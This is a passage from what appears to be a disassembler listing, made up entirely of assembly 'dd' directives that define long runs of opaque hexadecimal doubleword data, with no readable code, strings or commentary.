0EB558A5h, 85E49C17h, 0FB798005h dd 0C1B0D873h, 59517832h, 0CEC69F43h, 0E18A038Ah, 0DF5AD19Eh dd 5155A382h, 0BAB14522h, 0F9ED8966h, 2FF6CBB7h, 3682A715h dd 1EB5E43Dh, 823594C3h, 219FB28Fh, 26ECDF76h, 346E54F1h dd 94F575D0h, 8F4288D5h, 0DF969A4Ah, 0EB5C62C1h, 17683C6Ch dd 510EE253h, 0FB43BBDBh, 0F5672D0Eh, 7925E3F2h, 0AE7A191Ah dd 0E9FF00F2h, 0FDB9A3F6h, 69876B85h, 1BB1872Fh, 0E827AF39h dd 4A1B4EA2h, 84AF9C90h, 1E1BD6DAh, 51760084h, 0BD61A66Ah dd 29057E1Dh, 7D962F6Bh, 0DCEC0773h, 0FBA7930Fh, 0A25B201Bh dd 0C669C1E4h, 0A4DB3AC3h, 1832F9AAh, 830661F5h, 6DBD1823h dd 0B29DFEFAh, 6B0AD6CFh, 3F186812h, 0FDF57173h, 0E99F537Eh dd 4B236D20h, 258ABF7Bh, 0F65E3E1Bh, 0D422B4CCh, 0E7AE3440h dd 143DC5h, 3155817Bh, 95EA3A60h, 0DD27436Ch, 0ABD7AC6h dd 4D369732h, 0A1077BADh, 5918D792h, 0C8EA39h, 1C70154h dd 0CCCD77CCh, 0E049FA61h, 0ECBFEA5Eh, 0B87389F0h, 7F0B7B22h dd 76A79F5Ah, 0BC76975Fh, 0D789D664h, 5F678938h, 10D4FB54h dd 8B7C042h, 0ED4140ECh, 0D72DB845h, 0F90D60DDh, 52ABDE01h dd 712407F2h, 6981CF70h, 0B9A43463h, 0E9CA9643h, 3A3E02D5h dd 4DF2A2E1h, 0C8D8AA54h, 3AD9D84Eh, 2F55BD51h, 6BD5DBA3h dd 0AFD93C91h, 0DB6D40E7h, 0FFBF37B2h, 918D420Eh, 6EB13A1Ch dd 531A244Dh, 69083635h, 0F5637852h, 0FC26326Ch, 0E34EED1Ch dd 0F36E349Eh, 0F1417C2h, 3EF8C92Ch, 817E1877h, 9E7AA9AAh dd 7E67E8E0h, 0A44FF808h, 9C4F48A6h, 0A7AE5A9Bh, 4912AC2Ah dd 0B41D423h, 2B2A04FEh, 2371843Ch, 0CAB74125h, 0BD8CC5A1h dd 0B60E64E9h, 492400F0h dd 0D5A94C54h, 76ACA48Dh, 77717E70h, 0FA6BD5D3h, 0ED6E8DEEh dd 0BEDE641h, 8D18367Dh, 69FEEFEh, 0CD55DDE1h, 5744584Fh dd 0A65198C6h, 0FD124807h, 1E1D77B0h, 0F0431B0Fh, 3D136B23h dd 30D7F5B9h, 46D03C7Bh, 0E917C8D8h, 10BA51A8h, 0FB5FCBCCh dd 0AC926609h, 1EA6AEECh, 0BFC7D17Fh, 4B396970h, 0FFFB4776h dd 504912FCh, 0C9DDCDE5h, 4848C0AEh, 56D1B841h, 0A73CF4C9h dd 391BF768h, 4E6685EDh, 0C3CF8918h, 0A2D36EFh, 0BA46EF42h dd 0A40B8F9Fh, 0FD0BE6E0h, 0C1B5215Bh, 68ACC245h, 0E4E5D7EDh dd 0C4E13468h, 0BED8BF7Fh, 6CCF2A44h, 135B7851h, 0D7780FC3h dd 5F11748h, 35F6F69Eh, 0BA9148B3h, 0BF934FF7h, 0EAA013AEh dd 5E406786h, 0AB0156EBh, 3DFBDC4Ch, 0B64457E4h, 780634A8h dd 0A49A1652h, 283F56ECh, 44E5FB06h, 0B143EF54h, 0E93FF311h dd 3AD70BC2h, 0F472F251h, 0EC380737h, 6E6676DAh, 5F0C87CBh dd 2F7A9DB0h, 0F0823CFCh, 0DC431D65h, 0F7AC3E14h, 1B92E18Bh dd 77515691h, 4118747Ah, 0E26BC397h, 525BB4A2h, 8AB210C0h dd 919A4FBBh, 0EEB55856h, 61A8C679h, 10563500h, 217E614Ah dd 0E017F64Dh, 2AF91CC5h, 58D812B1h, 6EA1C986h, 0CAD1BE69h dd 0D5EE436Ah, 0E48CC008h, 2C3D1937h, 7DEAE26Ah, 4DE1820h dd 651A361Ch, 0BD1B57Fh, 3BBA40B1h, 6806B49Fh, 2A3117D8h dd 0DB0093A6h, 65A1EA4Eh, 0DA3AF3D1h, 4D330602h, 5C4DC065h dd 0FCD1CA2Dh, 0E1AF372h, 0BEECD6EFh, 7D1204C6h, 5669EE44h dd 0EB14B614h, 3BF3E5BFh, 0BE9C9E8Fh, 2D5504E2h, 0F11DA8B8h dd 0FBB08D86h, 0EB103CF1h, 6556A60Ah, 73A8C26Fh, 0F5EEE2F8h dd 0B3B0F656h, 0AEC2402Ah, 27BEB6BDh, 8B4AF19Ch, 506F238Ah dd 9D4FEDB7h, 0BC024234h, 75C9375Ah, 40DACC4Ch, 0B1909467h dd 0A3E2E7AEh, 63FBCC01h, 0AAD08AC5h, 76A1C4FCh, 367B5535h dd 3980CF31h, 0E00BAC1Ah, 6E9C2603h, 0B595F1D2h, 0B6BF57DAh dd 9FA40DBBh, 0FAA7B86Dh, 0D089434Eh, 2E84046Eh, 46464837h dd 6ED4C550h, 1DACF8E4h, 1F081A7h, 0AF7819CEh, 0F60E980Ch dd 4A65D1BEh, 60EF3ECCh, 0C16FDC49h, 1EDFCDC0h, 4992624Ah dd 5F790BA7h, 9E64B657h, 15E221F7h, 0D15B26A9h, 1B270030h dd 41B4D5A6h, 5CABA884h, 0F50C21ECh, 0FF7CE3C1h, 0AB19BBD9h dd 0CCB968AEh, 707E144Dh, 235987E5h, 6314A3EDh, 41BD70F3h dd 2226E241h, 600EA093h, 246F364h, 0AC965951h, 0A34204A2h dd 583E1C86h, 0D08C81CBh, 914681EAh, 7664245Ch, 0BA221813h dd 785CF1A8h, 1B468649h, 0EF80BEDh, 14530990h, 0EADE3284h dd 7E79C7D6h, 77F9BE2Eh, 16AC0852h, 0E86A71A5h, 0DE11652h dd 334B4908h, 0E3A7243Fh, 0BBD9764Ch, 0DD43D271h, 353FD9E9h dd 5A5B155Dh, 0D46DF966h, 0BC019250h, 0ABBC19C2h, 51794058h dd 0DC953601h, 633F4409h, 1788B327h, 664D2A2Ch, 0B635E2ADh dd 0DCBFB0AFh, 1CC38A34h, 456CB864h, 7D0DDE77h, 17DDC88h dd 4CF4B491h, 0B8466797h, 79F3A215h, 0CF18F549h, 0A2E0BA90h dd 0FAE5ED60h, 0DCFDD989h, 7CFAE83h, 1E4D0156h, 831FB6C2h dd 0EF50ECA5h, 391AC6C2h, 3FD5F60Ch, 14CAD3C3h, 0A988D54Ah dd 0EACD2C2Bh, 0F07A8C94h, 0DD08C60Eh, 367878E5h, 0B9993ADFh dd 2D938E79h, 655A7F18h, 0F3B4AF55h, 7B7DDF5Eh, 16721201h dd 9C0962E3h, 5960EB04h, 0AB365BB8h, 7077F68Eh, 0AA51262Ah dd 0B025DF6Ah, 41B5DCCAh, 0C6F3E009h, 1551E6DCh, 66AC972h dd 0B89A4E97h, 0D7B10227h, 440C2A83h, 4936FA77h, 0DEE6D657h dd 12CB962Eh, 0C9E0A8C2h, 23B3A532h, 0DF9641F2h, 2268647Eh dd 0E8F9E1D4h, 5FCF4ACFh, 5691036Fh, 32227708h, 0E1890085h dd 17469082h, 77D8D42Dh, 187A7AFBh, 0DF21340Bh, 1E97B0DAh dd 0DF6F0B4Fh, 2C1F4DF0h, 0FE20892Ah, 0E36D8C4Ch, 67ADA128h dd 65FF1ADCh, 5394BCADh, 49EC8574h, 40FF0092h, 0FBA426Eh dd 32151384h, 64D0FBD9h, 0E3D65B23h, 5F18E5C4h, 63469D23h dd 0EC12BF9h, 6E3CA32Dh, 918179Dh, 0D3C8B83h, 22950BEh dd 71766EE1h, 7D5574A0h, 23BDE4D7h, 773DF71Ch, 323F444h dd 4A983718h, 0C8F596B8h, 0B7AEF209h, 28C84A9Fh, 63C2025Ch dd 8E00F260h, 94C403FCh, 53A97FD4h, 0BF001CFDh, 95EDDE60h dd 94539947h, 371301CEh, 0FB959BC5h, 0F6991762h, 6CAE7D11h dd 0A8B7DFE6h, 40976B2Fh, 19F1732h, 0BFCB51E5h, 13D70F80h dd 2940CD66h, 0C19D2FF0h, 0FE263200h, 808391F4h, 752B246h dd 5C35BD47h, 0BFA24046h, 1D060D06h, 60D16F43h, 0C2DAED19h dd 0FBDB0DCBh, 9ACE0BFDh, 0D177822Bh, 0E1B0B594h, 0F5B5651Fh dd 57E84A10h, 0D83B7E25h, 567FB601h, 306E73EEh, 7DCB4FB1h dd 5FA9C833h, 5DDDD142h, 981C949Eh, 4A8806DBh, 0BBC2E6FAh dd 77480761h, 683A45F0h, 0D22DDBD6h, 0E061DAD6h, 871CA9B5h dd 5C2C60A3h, 7EF7BE9Dh, 88D28F97h, 0BF6DE293h, 38A3C571h dd 0DCF93407h, 0A86B8BF6h, 0E4FB1E9Dh, 7A1C6020h, 733022C2h dd 1EF382CCh, 17CEF95Eh, 0D901AE5Ch, 4A9ACE1h, 0B6E7431h dd 4B1A72EFh, 0CADD479Ah, 691B2346h, 461F9269h, 0C16E7BD5h dd 0C331811Bh, 40F1215Ah, 59EE7A5Ah, 0B20D9400h, 67826995h dd 0E4E2CB9Dh, 0BE1BC809h, 0CD444B0Dh, 9820F9D9h, 97504A52h dd 11A96AB1h, 2CD90FDAh, 3B17066Ah, 0A16ACD6Ch, 91477DAFh dd 6C0AFE2Bh, 49F2BEDEh, 930DC06Dh, 80CADE96h, 0CE371A83h dd 0A3F2898Fh, 0AF3E9BA2h, 0ABCBF274h, 0D6A3317Bh, 88892C22h dd 0A4E8816Eh, 80C9AB8Ah, 5604B0DAh, 405B9D59h, 0B738C42Dh dd 0D9F07E68h, 85DA8844h, 82F15F61h, 0C7CDD0C3h, 84223C38h dd 4DE2ECD9h, 0C54E6EF3h, 0A8B62746h, 0E2713E26h, 3FED3C98h dd 4B4EC293h, 661A7EDCh, 1DB9A199h, 0C7CEBAD6h, 0FF8F07A7h dd 0EA0E8518h, 0B14BB33Ah, 0A375A931h, 9267D781h, 10D21953h dd 8118F2BFh, 0C384E4D1h, 146C2155h, 0F1B06B38h, 72A2FEFh dd 0F49756Ah, 331E131Bh, 20CA7B85h, 0ACAC868Ah, 3149155Fh dd 0A86475CFh, 0AFF676F9h, 0D118E571h, 0A551C7A9h, 1326D27Bh dd 9803B89Bh, 0E5A5B13Dh, 8E3803EAh, 33E65E33h, 7BA101ABh dd 6D143DECh, 6296D571h, 0A47186CBh, 0D9152F24h, 7FCAAA78h dd 67CAC018h, 3F50B98h, 0D56A970h, 0E8528208h, 0D3A3AFD7h dd 95851AB3h, 31AB029Bh, 4A036924h, 316BCDDCh, 70454AA1h dd 78C4A5F8h, 3D75AD24h, 0EDC93C39h, 0F75E3F0Bh, 0F7E1C6ABh dd 0A6057A8Eh, 0E6E4B31Bh, 0B0C5891Dh, 0C23D04EAh, 8300616Fh dd 35D4A2E2h, 88B7447Ch, 90DE7E29h, 46CBEC9Eh, 963D4873h dd 6CD463C5h, 0D5689D46h, 49F9DC8Dh, 5C86375Ch, 859E5D70h dd 1C8417ADh, 0E3A7E263h, 5B3E922Dh, 803852F6h, 80AF6BE5h dd 7ABFFAA1h, 0B7A6D250h, 0B3BFF155h, 97E3DDE5h, 368EC5CFh dd 0CF7E24E9h, 548304D6h, 0EA5E0144h, 2848ABDDh, 0FA7400Ah dd 4995B1CAh, 41F4FD3Bh, 62993463h, 82536D37h, 0E28AE007h dd 2D56B800h, 4A402FFDh, 0F7995DD3h, 0CF7A3009h, 32E0C461h dd 0DD0797FDh, 1105FF5Ch, 62654B47h, 9CDAF7BBh, 46D56391h dd 0D63507BFh, 376830A7h, 8DC8C7CEh, 2A21EA8Eh, 0CB1FC3E7h dd 2284B3DDh, 8A8222B6h, 70F6A04Ah, 55B3AD31h, 0D6525A4Fh dd 1EFCD350h, 0A807E3E2h, 0CA49E695h, 972189C5h, 0C14B526Bh dd 13795D3Fh, 0F690F814h, 4B3FBE2Eh, 0FC0EB1E8h, 3DEC43D3h dd 7785E0CBh, 0A9FE66BAh dd 0BB354140h, 3225AAF8h, 715B27E0h, 0CAE5D9B6h, 0BD1EB8ECh dd 8D4D34A7h, 67FD7DF0h, 0B861DEDDh, 0CD2ECB0Eh, 0C316AEAh dd 1E2FAB63h, 0FA28A7BDh, 6C5D442Dh, 0E24058FFh, 0D2C75C55h dd 32655E9Fh, 0DE8520BCh, 0C4F267D3h, 0D3A6B44Ah, 64C27EA5h dd 88490F9Dh, 829481EFh, 96940482h, 8580D343h, 0BE2D7B81h dd 7A608EADh, 0B6AE9B6Ah, 0E355F477h, 6EF940FFh, 635B3A9Dh dd 72EE3293h, 136CBEC6h, 629DE9CCh, 0DA2CBB9h, 9D80F1E5h dd 2DF3BD64h, 0F9A74D06h, 268BBD0Dh, 0E8FE665Fh, 6166E53Ah dd 0A0285F97h, 3E5CCCD1h, 0AFF86A0h, 26A58090h, 22081CBFh dd 0E31FF06Ch, 0A3B00A20h, 96C5BDF3h, 0CF5CCA3Eh, 0D49B65C4h dd 49A69154h, 0A1E81387h, 0B2D223FCh, 34CCC75h, 8266D928h dd 75C51FA0h, 0C761FBF0h, 25C457CFh, 111EF682h, 0E976896Dh dd 17283DFAh, 9FABDC10h, 772A2099h, 7BA9124Dh, 74226186h dd 271783D0h, 33C002B5h, 95D30FCCh, 17338047h, 0F269343h dd 608C9AD7h, 0FA4F405Bh, 4A006091h, 639A2096h, 0BAD247CBh dd 1A5EE01Ch, 55F8F1E2h, 4E95C5B1h, 77ED89A8h, 0BF03977Bh dd 0B87CDA75h, 674E6744h, 4163CC4Fh, 146AC1ECh, 29448D8Dh dd 0C055EC3h, 218B896Bh, 0B2C87D5h, 0B7872789h, 994510EAh dd 52DC28FCh, 0FAA685B8h, 298770D3h, 53D88E33h, 3EAAB083h dd 0C5595986h, 86DAC15Fh, 0BAE744F7h, 5EC81711h, 18D4B6F3h dd 190F5DBFh, 0C2CC9953h, 0EA75092Ah, 95B03FB9h, 9685F859h dd 0A891FC3Dh, 0E18100F3h, 7BC2E8F0h, 432EE82Fh, 50210E8Eh dd 0E331A56Ch, 6EE3735h, 9BEB08F5h, 8391C7AAh, 0F97F1653h dd 522152Ah, 0BB2AC2C1h, 0C365857Ah, 614515A0h, 1E21AD2Ch dd 1E44B356h, 8FA7F9E3h, 61965CC1h, 0CBCBB67Ah, 3D13126Fh dd 947ADE9Bh, 0BD943F3Dh, 0BA4EF29Bh, 5568AAAAh, 0F62FF13Bh dd 6658D871h, 0F3E8D36Eh, 0C41D8ACAh, 925F0F50h, 6F2F0ED6h dd 184104F5h, 0AD0B727Eh, 380DBAAFh, 69675750h, 0C31FBF94h dd 1A00EAC6h, 596BCA42h, 5AA17953h, 219726F4h, 0B7C4B610h dd 280C9375h, 0A0C6A1F4h, 6953C65Ah, 1B7450B1h, 9F198FC2h dd 1CC3EDA2h, 60A52A05h, 0EA1FD9CBh, 485951BAh, 884A9721h dd 0C55B15C8h, 28E5B448h, 70AA7FACh, 0E60FEFDCh, 0C435817Ah dd 0E49AD6CCh, 257366CFh, 23B87F9h, 2AE9B256h, 9A137984h dd 83DB414Ah, 0D6EA344Dh, 12202E7Dh, 86DCBEA7h, 9D537127h dd 9BDD284h, 50985070h, 0EEB70669h, 778E63EBh, 8D714F83h dd 0E95854CCh, 0AA1E21B1h, 0A4A55719h, 2E0CD9A2h, 8E8E670Fh dd 4BC04AB2h, 0B5E5877Fh, 59085F4Fh, 38B22AB8h, 186F8870h dd 15CAFD1Ah, 7B1DDC0Eh, 4F578915h, 50D1C829h, 0A7BD8217h dd 6E6D1011h, 874D139Ch, 7579687Dh, 64BEDF28h, 2C97674Dh dd 0F44E14A0h, 45CD3D5Ch, 2B2474A0h, 0DDA03FD3h, 0F681F33h dd 0F96372B6h, 294358Ah, 9CF775CDh, 31240167h, 0F1E59F79h dd 0DB91E8F6h, 0FB1AFEE3h, 51428DADh, 5056DB2Dh, 0DF5442A0h dd 906BEB65h, 953AFE9Dh, 18C0804Dh, 0AB0216AAh, 9B10714h dd 2D2D67EDh, 0ADD493E6h, 0C11445C4h, 8EC0BEEh, 72A999B8h dd 0E37A80B6h, 0BCD00F33h, 0F92E334Fh, 3150BC94h, 24F03348h dd 17EEB4F1h, 743DB345h, 44D27FDh, 15482639h, 0CDB96D31h dd 7C1F3F27h, 99AB76A7h, 0E8BBBA4Eh, 94B8E266h, 0ED8C1D60h dd 2EA334A9h, 0C9212D8Fh, 5B3AA28Ah, 6AF41982h, 715D93A2h dd 474E97C0h, 0E2B57CE5h, 690E743h, 1D4B7DA1h, 0A5ECC5D7h dd 0F9DDE02Eh, 2FC9D4BFh, 26FEF86Ah, 0FC95B05h, 9653E7E0h dd 693676D2h, 53AAFF6Ch, 7E1A8F73h, 338CC0D8h, 0BC428FF1h dd 3972C2AAh, 233C0B42h, 507BA870h, 2F5D78CCh, 88668465h dd 0B899C01Fh, 0F9BE8DE9h, 0E7F3C06Fh, 889DBACDh, 0AAE46010h dd 38FFB26Ch, 6F9D21E5h, 382627B5h, 0CF0FC6F6h, 0D5D771DAh dd 66667C9Eh, 0DDEFCE3h, 28F2ED38h, 0F3113628h, 0C8B5E3BCh dd 1E1A9BF3h, 16F80763h, 47078967h, 186F2FC0h, 8ADFA336h dd 5DF3F602h, 0AC0E7CA3h, 73BF84CFh, 316258A2h, 0E0A8615Ah dd 7A3B0DFFh, 9DDF8426h, 13C8F3F3h, 3CA416B1h, 4101B690h dd 2C52E6FBh, 493B8D45h, 934A077Ah, 0C870CA18h, 188C67A5h dd 51ECA03Eh, 89EE2136h, 0AF9CFC32h, 77DC2B66h, 6DAA065Bh dd 7A91274Ah, 0E4CB1866h, 13D84275h, 4884F006h, 0F7CEBC2h dd 0B3B3176Eh, 0A12F58Bh, 9FE66D86h, 3D5B42FEh, 76DEE0E7h dd 8A5CB501h, 5FD97E02h, 0BFEBB60Ah, 0A01DD6FDh, 4A07C2DDh dd 5869B364h, 5A7537EDh, 0B13D4109h, 6B21E69Fh, 391E45Ch dd 26FA2E81h, 5802C34Ch, 3E4760B2h, 896440BFh, 7FF42FFEh dd 3938B6DAh, 5DA4F793h, 0CEF63819h, 45AC8836h, 86ED0D30h dd 308CD2E2h, 0CF09F644h, 83CF9E4Dh, 6FB9DA5Eh, 5CEA2E9h dd 3F1F0844h, 2F7615CFh, 0BEB7DF59h, 0A72BD6ADh, 9B42EB85h dd 5630937Dh, 29E05DFCh, 0F7CF61Bh, 9CCC30Ch, 7EAB2732h dd 0E09A8DDh, 31B3E9D5h, 0C482168Ah, 1148D789h, 6328D1Eh dd 2B801785h, 6B5009D6h, 8160E07Fh, 51B1B66Ah, 0A7ABC27Ah dd 0D6DE5226h, 0ED3F33F5h, 758FFACBh, 1A544C9Ah, 7A2D3010h dd 63376E24h, 0D6623F48h, 1300667Ch, 73E296ECh, 0C631EC93h dd 0C6555E55h, 0B03DDB50h, 55BBB696h, 90A0680Fh, 0A77670F3h dd 3364C48h, 5CC9A01Fh, 74D7229Bh, 3D5D1C77h, 81FDEEA6h dd 0CE1F63AFh, 43490885h, 31C99426h, 0BB15F562h, 3BCACF14h dd 0C4739917h, 44435F85h, 3D09542Bh, 0C941B02Ch, 188BBCF4h dd 30AAF282h, 0F5754E23h, 0E98F92B8h, 3C6FCC32h, 0AAD04472h dd 0B26F8B20h, 6CE7F6A3h, 4B10169Eh, 0C08308E6h, 0C65AEC9h dd 0E0BD1599h, 6B477FAh, 0A6313B43h, 0FC37DBD9h, 0C3A17898h dd 46A38739h, 0A76E46B0h, 8B7162ACh, 5364EE5Ah, 37D6F0F5h dd 0C8FE8B03h, 82BA27F2h, 32C27826h, 0FD3E78F3h, 0F01BA96Fh dd 0EBB0D63Ah, 0D52D7A4Fh, 8A806EB0h, 57A87EDDh, 62EF6841h dd 52AE355Eh, 32C370F5h, 36E9988Ch, 0A709E34Ch, 0D006FC09h dd 91A36460h, 0F8784E35h, 5074B736h, 0FB4F5663h, 93C6C6D1h dd 0CFBAECABh, 751B9645h, 6AE0F0A3h, 6F7C2643h, 0ABA51BF8h dd 81DFCC2Eh, 420BB15Fh, 35C7F6E6h, 0D34C00E9h, 0F247DFDh dd 0F8D5B2F7h, 634A2BEDh, 92BD91B9h, 0DAEE9E9Dh, 0F803E5C2h dd 8CFFCE1Dh, 61116AECh, 1A27015Bh, 0FD7CC661h, 885D2708h dd 5BA1534Dh, 1ADF5AE9h, 0CF2BBBD8h, 0EA5821C7h, 0BA49BDA8h dd 0F6746C7Dh, 0E6F529AEh, 49F245FCh, 735773F5h, 264FBD11h dd 0FB7DBD0h, 8986970Fh, 0C7C04A65h, 0B0464CE4h, 31F9803Ch dd 2D82767Eh, 82950DE9h, 0DF3CC523h, 0C58836F9h, 0D733175Bh dd 6FEFC13Bh, 20B7B641h, 125729AAh, 0FD22994Eh, 9DB1FFCh dd 8E8283CCh, 32CF031Eh, 60C4C51Bh, 5012B490h, 9D21174Bh dd 20EFF32Ah, 4507448Fh, 1FCC574Dh, 78AF12CEh, 59935313h dd 881CAD60h, 1DBC5947h, 426B08CBh, 979DFC72h, 0CD98D69Ch dd 2718D6D4h, 39782965h, 0F439034Dh, 456640h, 0BF71264Eh dd 0BCB9FEB6h, 19513DA5h, 112AA88Dh, 8544F2CFh, 99293611h dd 5835B320h, 0A9550103h, 9D380C34h, 0FCCFFDCAh, 3838DC48h dd 69422908h, 5D8A4CCFh, 0A7F088EDh, 0E94F8EEDh, 4A6C63ADh dd 3DBFDD2Eh, 6ED857C7h, 151CDDFCh, 0D4A53C53h, 0CD1B012Ah dd 4E323C48h, 0EB1EB6DDh dd 6035B336h, 9F4E358h, 1492D6D7h, 2A29BE76h, 0CB115BA9h dd 8CCEDE8h, 1F99E71Eh, 668EE7D9h, 452B2DCDh, 0F1596BC1h dd 92E33770h, 3BB21C9Dh, 46F53A5Dh, 9075A793h, 0DD1392F4h dd 8FB12CE7h, 48A59630h, 0AE1408F0h, 1E91BC38h, 0D1462C8Eh dd 7C7F40C2h, 7DF2C2Eh, 1FC1F27Bh, 0DB8A5963h, 31163B8Eh dd 90DA257h, 963332A5h, 0BA79AF70h, 8CA00FFBh, 0F423449Eh dd 0C5D9785Eh, 0A7D5396Fh, 0DFC81DFBh, 0FEDFA6B8h, 8A2D4CC6h dd 91A0D42h, 9DAC0984h, 44FEF5C0h, 2A291B67h, 0EB0FED6Ch dd 84BD28CCh, 29D01D83h, 97BBE2D8h, 3FA7D051h, 38C91573h dd 0C741AD4Bh, 8C1B1E2Bh, 47661054h, 36DF55B2h, 0E65E87F0h dd 8FB71ACAh, 930503FCh, 1F317FEBh, 14FD5A7Fh, 0C79FCDC4h dd 5100D1B0h, 0B7D1C84Ch, 2A5F768Ah, 38AE8BC7h, 96C35973h dd 0F359C5CCh, 0C21146DAh, 4E0D7B58h, 2883BEE8h, 0EEA479F2h dd 77A48298h, 91CAC4B7h, 6DD90118h, 0B18245F9h, 48CEFA8Dh dd 46B9B01Eh, 57941D4h, 9A4FC50Eh, 0D041F861h, 6E651060h dd 342AAE4h, 0E4856C99h, 0DD779C44h, 0E4E80D7h, 5DE5D477h dd 7A1013F3h, 98D553C4h, 90D5A51h, 1CD12039h, 0FA837946h dd 79022A43h, 6417B90Fh, 509B1A9Ch, 0EFC00Ah, 981ED311h dd 695D90CEh, 0DAFFAC80h, 0A407A7B1h, 0D6001FAFh, 9C83D05Fh dd 651AE877h, 0F07F5821h, 8F2EC721h, 6E376654h, 80CDA78Ah dd 88AC871Ah, 0D9F431Bh, 65591BE2h, 0FFDB0447h, 14716E29h dd 0A1F9BA52h, 0D7973D7h, 0B55EFCE5h, 5D942AF9h, 0AE6DE531h dd 39070D4Dh, 1721D282h, 2A6B765Ch, 0A75BFB6Ch, 9556BCF4h dd 52138A22h, 1C2DC66h, 82C9A866h, 5A621BCCh, 2FD7DB32h dd 0B1BF4F84h, 635A1E0h, 0C2E2AF7Bh, 0BB4134FAh, 0ABA669A3h dd 9FF77FADh, 1F11AD4Ch, 0F31C95ABh, 41D37138h, 826EA078h dd 0C31DE055h, 0EACECD08h, 0BED92F74h, 8AD20C58h, 428B09D4h dd 599B062Bh, 460EDB37h, 0A0A43C56h, 6CEB942Fh, 74C44E04h dd 7E6B8356h, 85DF78E4h, 65A3E1B0h, 3CA44D8Ch, 99BBE8Fh dd 0EC7CBD1Ah, 322C8Fh, 0E38BC503h, 7F49333Eh, 93909641h dd 613CE625h, 69C47F6Dh, 2DC21FFh, 38028CBFh, 1E04F8B2h dd 76529D98h, 0B01A222Dh, 63A16838h, 1868F8B7h, 6047F94Ch dd 2D593B60h, 0E79093CCh, 7497651Ah, 3759059Dh, 890D44F6h dd 0E52734BBh, 87472A8Ah, 96F2356h, 48AB1C12h, 0FB7F017Bh dd 1B1741C3h, 0E6C01733h, 0B2AD2D7Ch, 208D39E8h, 5814DEEFh dd 6856B3EBh, 2998D548h, 0F867ADEBh, 0AA7EAF79h, 0AE09689Fh dd 555C65E5h, 0B4AFA1B4h, 43582FBAh, 7D8229C4h, 0C0A93552h dd 0D76CE311h, 4EA9E916h, 60A22242h, 4B47AA1Ch, 9FAFF921h dd 0FA49471Dh, 4B764C88h, 1FBFCFFh, 9EB9E1A6h, 0B63DB86Ah dd 6749206Eh, 0AFC923FAh, 0E40D29DDh, 68017DA1h, 0D33D5C2Eh dd 81D1B02Fh, 0CB32E34Dh, 5096527Dh, 370F6DEAh, 0F68AC4F4h dd 0D0F8F5D9h, 0FEDD3CDDh, 4944F6E4h, 0B09B9596h, 9B2B8C8Eh dd 2D771A7Ah, 4DD50CABh, 0B9E6153h, 0FD0EBCA2h, 4FE8A6D1h dd 7C19F0C8h, 4F01EA37h, 0B8C93F60h, 412A66FFh, 6DC898BAh dd 0F764E8DBh, 0E58F0035h, 0A0B1781h, 0BD2CE4C9h, 0AA15B6C3h dd 0CB38F2B1h, 7C5A4B62h, 8844D787h, 6E688006h, 0D1EDDE0Dh dd 0DF92DF33h, 0CCCF5FFDh, 64D43C8Dh, 6C38D6CDh, 4F4C21D0h dd 0D9163CD2h, 17DC02F3h, 0E9C1958Bh, 0A34081D8h, 0C5D61BB7h dd 551C576Ch, 0A09A0226h, 0A0EACFD0h, 472EF9Dh, 20A9B8B7h dd 327D7765h, 5ED5C32h, 938E8060h, 505B3B66h, 0D4756539h dd 7091AA7Fh, 4F3C14CAh, 6092798Dh, 2C396936h, 6A9A2058h dd 0CB70314h, 8D9A4B02h, 9B00D524h, 0D249EE8Fh, 0B06CDD2Ah dd 0CDCC641Bh, 22ACDF15h, 0CD7F266Bh, 0F516BC2Ch, 0B00E44A8h dd 0A0DB9587h, 18C42958h, 24F60BCh, 7964B818h, 815A6E7Eh dd 94FE903Dh, 41EEBC0Ah, 678E49D5h, 0B686F250h, 18020D99h dd 96F88E99h, 614F2A60h, 10A61E24h, 8DDF7808h, 5E179FF3h dd 92E3D834h, 0A03DD7BAh, 7E26C7BFh, 5966B9E4h, 0D02F747Ah dd 4420624Ch, 1D1F76A7h, 0D98EB82Ah, 49882B82h, 0F300A25Ch dd 150E68ADh, 7B2A0DFBh, 0C45B0443h, 3930A9BCh, 0FE3CB648h dd 0A1AE77DBh, 3F05CF1Bh, 0B64F2D30h, 690D83F5h, 0E0A9F001h dd 0BA40694Bh, 76442569h, 0D582C2EFh, 0D6ED3B59h, 8B5997FDh dd 5B40C115h, 82BBAC3h, 1B081CD0h, 0D7571FBDh, 0F9DD0ACEh dd 8A8C4DBBh, 0DD80815Bh, 0E99569CFh, 0DC79B2FCh, 0D821EC37h dd 7A46079h, 4C09AD5Eh, 0F344F693h, 5B4ACAA5h, 450C2C46h dd 1918C81Dh, 0FD905F95h, 0D7F13E6Ah, 7191B84Eh, 0A4F5D6FAh dd 576C01CAh, 805C9811h, 0E778D44Dh, 0F4978B0Eh, 7032CE4Eh dd 0A79FDEB9h, 9F2B23F1h, 3F9086AFh, 616EF150h, 0DB832DD0h dd 75F3C68Dh, 80CED2E7h, 900DAEA6h, 946A1D76h, 6692C42h dd 2C947B50h, 8E233C80h, 0FC4E27C2h, 503CA9EDh, 3AA6EE5Ch dd 93F66D59h, 0C8C71387h, 80D3428Bh, 52D641F8h, 4AF5E3E1h dd 0ACE36698h, 18B69E25h, 6A0BA692h, 0D34C9795h, 75EFDB7Ah dd 0A321D008h, 72134331h, 51CE7F92h, 83FBBEFBh, 0B0F256E7h dd 2BF54730h, 6533A6B4h, 410CFA7Bh, 254ABAD4h, 76FADD32h dd 336F5D05h, 1917B2Fh, 27D5D447h, 0B94DAA36h, 32C0B28Eh dd 0A1F2B33Bh, 38EBDEF0h, 0DA5D849Fh, 15398339h, 51F2C065h dd 50C7280Ch, 8A515A11h, 72116920h, 486F9E2Ch, 0F94ACD9Dh dd 0B2F15A0h, 0D9A284A0h, 34F3E98Eh, 0A2E58371h, 679CD74Fh dd 98333B49h, 9D98C0C1h, 0BC0AC1C3h, 0ED2EE906h, 0EB18DF63h dd 0D1B95276h, 18822C22h, 61CD85F3h, 868221Ch, 0CEC84891h dd 7CF822Ch, 4148F9E3h, 61B194BDh, 99079121h, 81336F2Fh dd 508C7AE5h, 39F84D57h, 0DC571D1Fh, 601597FDh, 77F3F95h dd 80280F0h, 95136674h, 0D6AD241Fh, 0BF577E37h, 80084660h dd 4F4E5DF6h, 811BC703h, 4AC85463h, 62AC410h, 6F7D516Bh dd 4554BD8h, 0D44531B4h, 0C3BB4D64h, 6D1EFB77h, 73E9DA50h dd 0D5077A85h, 0E0C3D443h, 5A74F7C4h, 0E464E16Bh, 0C40D94F9h dd 1BABF10Ah, 50740289h, 0D1D5ED28h, 0CC0FAB28h, 2EFD6800h dd 54FBA5DFh, 0B01D88C9h, 0EAFB59F7h, 92F2E7A0h, 23B3B212h dd 9690A72h, 8B1C1DE5h, 